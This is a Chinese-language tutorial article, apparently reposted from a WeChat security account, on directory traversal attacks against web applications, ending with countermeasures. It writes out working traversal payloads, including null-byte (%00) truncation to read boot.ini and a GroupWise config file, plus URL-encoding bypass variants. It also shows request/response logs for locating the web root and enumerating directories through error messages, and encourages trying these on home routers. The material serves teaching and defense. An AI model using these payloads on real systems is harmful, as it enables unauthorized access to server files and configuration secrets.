转义攻击

  • A+
所属分类:安全文章

转义攻击

这类攻击的目标是Web服务器上的模板或其他可供入侵参考的文件。此类攻击的基本模式是跳出Web文档的根目录,从而能访问系统文件,比如,“../../../../../../../../../boot.ini” 就期望访问到服务器上的boot.ini文件。目前的服务器如IIS和Apache都能够阻止这样的攻击,但IIS在进行URL字符解码和目录遍历安全检查时,产生的逻辑问题会导致受到此类转义攻击。两个著名的例子就是IIS过度解码漏洞(..%255c..)和IIS Unicode目录遍历漏洞(..%c0%af..)。关于这两个漏洞更多的信息,可以访问微软公司的网站:

http://www.microsoft.com/technet/security/bulletin/MS01-026.mspx
http://www.microsoft.com/technet/security/ bulletin/MS00-078.mspx

一个Web应用程序的安全性决定于最薄弱的那块木板。即使一个健壮的Web服务器,也会因一个不安全的应用程序而受到攻击。最容易受到转义攻击的地方,是使用了服务器上模板文件或解析文件的应用程序,如果应用程序没有限制可以访问的文件类型,那么攻击者可以轻易地跳出Web根目录。此类漏洞只与设定的URL有关,与使用的语言和服务器平台无关。下面是可能会受到攻击的几个URL例子:

 /menu.asp?dimlDisplayer=menu.html  
/Webacc?User.html=login.htt
/SWEditServlet?station_path=Z&publication_id=2043&template=login.tem
/Getfile.asp?/scripts/Client/login.js
/includes/printable.asp?Link=customers/overview.htm

如果Web应用程序没有验证所请求文件的位置和内容,那么此类攻击很容易成功。比如,一个基于Novell的Web应用程序Groupwise,其登录页面URL含有“/servlet/Webacc? User.html=login.htt”,那么可以通过伪造User.html参数来攻击,比如构造成:

“/servlet/Webacc?User.html=../../../WebAccess/Webacc.cfg%00”

就可以使我们跳出Web根目录,进入到配置文件目录中。这样,突然间登录页面变成了Web服务器,但我们其实根本没有登录过。

注意  现在,许多嵌入式设备,媒体服务器和网络连接设备,都带有基础的Web服务器。例如供家庭使用的路由器和无线接入点。当遇到这样的服务器时,可以试一试URL的目录遍历,此类应用程序对安全性的重视程度,往往远远低于对程序的大小和性能的重视,所以,说不定会有意想不到的效果。

高级目录遍历

让我们仔细看一看Groupwise这个例子。一个正常的HTTP请求将返回login.htm如下的内容:

<HTML>
<HEAD>
<TITLE>GroupWise WebAccess Login</TITLE>
</HEAD>
<!login.htm>
…页面的其他内容省略掉了...

值得注意的是,Webacc的servlet将参数login.htt 作为HTML文件显示,这表明了程序会载入和显示User.html参数提供的文件名。如果User.html参数收到了一个实际不存在的文件名,那么就会发生错误,通常情况下,这些错误会给我们一些有用的信息。比如,下面一个利用URL进行攻击的例子,输入URL:http://Website/ servlet/Webacc?user.html= nosuchfile,将会产生如下错误信息:

 File does not exist: c:NovelljavaservletscomnovellWebaccess
templates/nosuchfile/login.htt
Cannot load file: c:NovelljavaservletscomnovellWebaccess
templates/nosuchfile/login.htt.

这个错误信息泄漏了应用程序安装的绝对路径。另外,我们发现了User.html参数所指定的值(nosuchfile),会被认为是目录文件夹,程序会在之下寻找login.htt文件。这非常有意思,说明如果没有提供User.html参数,程序将会使用默认的模板。但由于程序总是会访问login.htt文件,这成为了目录遍历攻击的一个障碍。为了绕开它,我们使用古老的对付Perl语言编写的Web程序的方式:NULL字符。比如:

http://Website/servlet/Webacc?user.html=../../../../../../../
boot.ini%00
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(5)WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(5)WINNT="Win2K" /fastdetect
C:BOOTSECT.BSD="OpenBSD"
C:BOOTSECT.LNX="Linux"
C:CMDCONSBOOTSECT.DAT="Recovery Console" /cmdcons

注意,虽然应用程序总是会在User.html 输入的参数后面加上login.htt,但我们还是成功地获得了Windows的boot.ini文件。这个技巧是在参数后面加上了一个“%00”。%00是NULL字符的URL编码方式。NULL字符在类C的语言字符串变量中使用时具有特殊的含义。在C语言中,字符串用一个任意长的字符数组表示,为了标明字符串的结束位置,以特殊的字符——NULL字符作为字符串的结束标记。因此,这个例子里,Web应用将原始的user.html参数传递给了程序,也包括了其中的%00。当servlet分析参数时,它照例在末尾附加上login.htt,成为如下的样子:

 ../../../../../../../boot.ini%00login.htt

Perl类的编程语言将NULL字符一起作为整个字符串的一部分,不将其作为定界符。但是,操作系统是采用C(或者C混合)编写的,当Perl或Java在操作系统中对文件进行操作时,必定会接触到C语言编写的函数。即使Perl或Java中将带有NULL字符的字符串传递给操作系统,操作系统将遍历字符串,直到遇到NULL字符为止,%00后面的login.htt就被忽略了。再看下整个流程:Web服务器将%xx作为十六进制解码,%00首先被Web服务器转换为NULL字符(0x00),然后传递给应用程序(这个例子是用Perl语言写的),Perl将NULL字符也作为参数的一部分,而C语言处理时,又会将后面的字符截断。

提示  其他一些用Unicode的字符编码方式,也可能会给程序带来类似的效果。IIS过度解码漏洞,就是使用另一种Unicode编码后的字符替代斜线字符而产生的。

迫使一个程序访问任意文件,有多种类似%00的方法,下面是一些技巧:
 
../../file.asp%00.jpg  这种可以对进行后缀名检查的程序使用,比如程序要求满足某种图像文件的后缀(.jpg或.gif)。
 
../../file.asp%0a  %0a是换行符,作用和NULL字符类似,当输入验证过滤了%00字符却未剥去其他恶意载荷时,这种方法能奏效。
 
/valid_dir/../../../file.asp  适用于程序验证文件的基本名的情况。它必定在一个合法的目录中。但如果没有去掉目录遍历字符,攻击者可以轻易地跳出该目录。
 
valid_file.asp../../../../file.asp 适用于程序会验证部分文件名的情况。
 
%2e%2e%2f%2e%2e%2ffile.asp(../../file.asp) 适用于应用程序在URL解码前进行名称验证,或者对URL解码后的验证较弱的情况。


无目录列表的浏览

转义攻击允许浏览Web目录内部以及外部的文件,但由于不能产生目录列表,浏览起来还是比较困难。但是,我们可以使用一些技巧,使得枚举文件变得简单。第一步要知道实际的根目录从哪里开始,Windows系统中是分区的盘符,UNIX系统中通常是根目录“/”,IIS使这项工作变得更简单,它默认最上层目录是“InetPub”。例如,为了寻找到IIS的根目录(或驱动盘符),我们不断地跳到上层目录,直到成功地获取目标HTML文件。下面是一个寻找到目录应用程序default.asp文件的根目录简短例子。

Sent:   /includes/printable.asp?Link=../inetpub/wwwroot/default.asp
Return: Microsoft VBScript runtime error ‘800a0046’
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../inetpub/wwwroot/default.asp
Return: Microsoft VBScript runtime error ‘800a0046’
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../inetpub/wwwroot/
default.asp
Return: Microsoft VBScript runtime error ‘800a0046’
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../inetpub/wwwroot/
default.asp
Return: Microsoft VBScript runtime error ‘800a0046’
...source code of default.asp returned!...

如果用../../../../../../../../../../这种简单的方法就能找到根目录,那精确计算目录的层数显得有点迂腐。在作决策之前,应该仔细分析一下需要的转义符个数。这里需要回溯4层获得printable.asp源文件,而如果认为路径是/inetpub/wwwroot/includes/printable.asp,则需要回溯三层,多的一层可能是由于/includes目录是其他驱动器的映射或者Link文件的默认位置在其他地方而造成的。

注意  我们找到的printable.asp很容易受到目录遍历攻击,因为该文件没有进行输入验证,这一点从文件中的一行代码可以明显地看出来:
Link = "D:Site serverdatapublishingdocuments"&Request.QueryString( "Link")
请注意这个目录的深度。

错误的代码还能帮助我们枚举目录。比如,我们可以利用“Path not found”和“Permission denied”的错误代码追踪服务器上的目录。回到上面的例子,使用printavle.asp来枚举目录,代码如下:

 Sent:   /includes/printable.asp?Link=../../../../inetpub
Return: Micosoft VBScript runtime error ‘800a0046’
Permission denied
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../inetpub/borkbork
Return: Micosoft VBScript runtime error ‘800a0046’
Path not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../data
Return: Micosoft VBScript runtime error ‘800a0046’
Permission denied
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../Program%20Files/
Return: Micosoft VBScript runtime error ‘800a0046’
Permission denied
/includes/printable.asp, line 10

这些结果告诉我们要分辨出那些文件和目录在Web服务器上是否存在是可能的。我们证实了/inetpub和“Program Files“目录都存在,因为错误信息显示Web应用程序没有访问权限(Permission denied)指出Web应用程序对它们没有读取的访问权限。但是,如果访问实际不存在的“/inetpub/borkbork”目录,也会返回“Permission denied”错误,那么这个方法就会失效,因为我们无法区分不可读的目录(比如,Program Files目录)和不存在的目录(比如,borkbork目录)。我们还在这个枚举的过程中,发现了一个data目录,这个目录在printables.asp文件所在的路径之中(D:Site serverdatapublishingdocuments)。
概括枚举文件过程,主要分为如下几个步骤。
 
检查错误代码:检查应用程序是否对不存在的文件、不存在的目录、存在的文件(但有可能读取访问权限被拒绝)和存在的目录,返回不同的错误信息;
 
找到根目录:不断地添加目录遍历字符,直到能判定驱动器名或根目录开始的位置;
 
从Web文档根目录开始往下层遍历:Web文档根目录中的文件很容易枚举,在首次检查应用程序时,就应该把它们中的绝大部分都列出来,因为这些文件的数目是已知的,所以找到它们也更加容易。
 
寻找常见的目录:寻找临时目录(/temp,/tmp,/var)、程序目录(/Program Files, /winnt,/bin,/usr/bin),以及其他一些常见的目录(/home,/etc,/downloads, /backup)。
 
尝试直接访问目录名:如果应用程序对目录有读访问权限,那么访问目录名就会把目录中的文件都列举出来,这使得文件枚举变得非常简单!
注意  一个好的Web应用程序测试员参考手册,应该包含web服务器上使用的常见程序的分层目录列表。有了目录和配置文件的参考,将会大大提高目录遍历攻击的成功性!应用程序列表应该包括Lotus Domino,Microsoft Site Server和Apache Tomcat等。

对抗措施

转义攻击的最好的防范方法是过滤掉GET和POST参数中所有的圆点字符(.)。解析引擎也需要注意发现以Unicode和十六进制编码表示的圆点字符。

另外,强制所有的读取都从一个特定的目录开始,并使用正则表达过滤器去掉文件名前所有的路径信息。比如,将“/path1/path2/./path3/file”缩减为“/file.”。

安全的文件系统许可也可以减轻此类攻击。首先,用低级别权限的用户,比如UNIX 下的“nobody”或Windows下的“Guest”(也可以为此建立一个定制的账户),来运行Web服务器;其次,限制Web服务器账户的权限,使其只能读取与Web应用相关的特定的目录里的文件。


最后,将敏感文件,比如引用文件(后缀为*.inc),移出Web文档根目录,转移到某个Web服务器仍可访问的目录中,这样可以减轻目录遍历攻击的危害,如果目录遍历攻击被限制在只能在Web文档根目录中浏览文件,那么用户将无法读取到那些文件,但服务器仍可以访问它们。


本文始发于微信公众号(LemonSec):转义攻击

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: